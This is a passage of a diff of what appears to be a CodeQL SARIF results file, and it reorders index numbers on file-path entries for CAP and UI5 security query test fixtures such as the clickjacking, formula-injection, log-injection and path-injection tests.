"javascript/frameworks/ui5/lib/qlpack.yml", + "uri" : "javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 117 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js", "uriBaseId" : "%SRCROOT%", "index" : 118 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 119 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/src/qlpack.yml", + "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 120 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/ui5/lib/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 121 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js", + "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 122 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html", + "uri" : "javascript/frameworks/ui5/src/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 123 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js", + "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js", "uriBaseId" : "%SRCROOT%", "index" : 124 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json", + "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js", "uriBaseId" : "%SRCROOT%", "index" : 125 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml", + "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html", "uriBaseId" : "%SRCROOT%", "index" : 126 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js", + "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml", "uriBaseId" : "%SRCROOT%", "index" : 127 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/models/attachDisplay_detachDisplay/webapp/view/App.view.xml", + "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js", "uriBaseId" : "%SRCROOT%", "index" : 128 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml", + "uri" : "javascript/frameworks/ui5/test/models/attachDisplay_detachDisplay/webapp/view/App.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 129 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml", + "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json", "uriBaseId" : "%SRCROOT%", "index" : 130 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml", "uriBaseId" : "%SRCROOT%", "index" : 131 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/models/property_getter_setter/webapp/view/App.view.xml", + "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml", "uriBaseId" : "%SRCROOT%", "index" : 132 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml", + "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 133 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/qlpack.yml", + "uri" : "javascript/frameworks/ui5/test/models/property_getter_setter/webapp/view/App.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 134 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml", + "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml", "uriBaseId" : "%SRCROOT%", "index" : 135 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml", "uriBaseId" : "%SRCROOT%", "index" : 136 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html", + "uri" : "javascript/frameworks/ui5/test/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 137 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html", "uriBaseId" : "%SRCROOT%", "index" : 138 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 139 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html", "uriBaseId" : "%SRCROOT%", "index" : 140 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 141 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html", "uriBaseId" : "%SRCROOT%", "index" : 142 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 143 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 144 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 145 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 146 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 147 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 148 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 149 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 150 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 151 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 152 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 153 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 154 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 155 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 156 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 157 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 158 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 159 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 160 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 161 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 162 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json", "uriBaseId" : "%SRCROOT%", "index" : 163 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 164 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 165 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 166 } @@ -18147,175 +18249,175 @@ } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 168 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 169 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 170 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 171 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 172 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 173 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 174 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 175 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 176 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 177 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 178 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 179 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 180 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 181 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 182 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 183 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 184 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 185 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 186 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 187 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 188 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 189 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 190 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/package.json", "uriBaseId" : "%SRCROOT%", "index" : 191 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 192 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 193 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 194 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 195 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/package.json", "uriBaseId" : "%SRCROOT%", "index" : 196 } @@ -18327,61 +18429,61 @@ } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 198 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 199 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 200 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/utils/CustomLogListener.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 201 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/utils/CustomLogListener.js", "uriBaseId" : "%SRCROOT%", "index" : 202 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 203 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 204 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json", "uriBaseId" : "%SRCROOT%", "index" : 205 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 206 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 207 } @@ -18393,1264 +18495,1276 @@ } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 209 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 210 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 211 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 212 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 213 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 214 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 215 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 216 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 217 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 218 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 219 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 220 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 221 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 222 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 223 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 224 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 225 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : 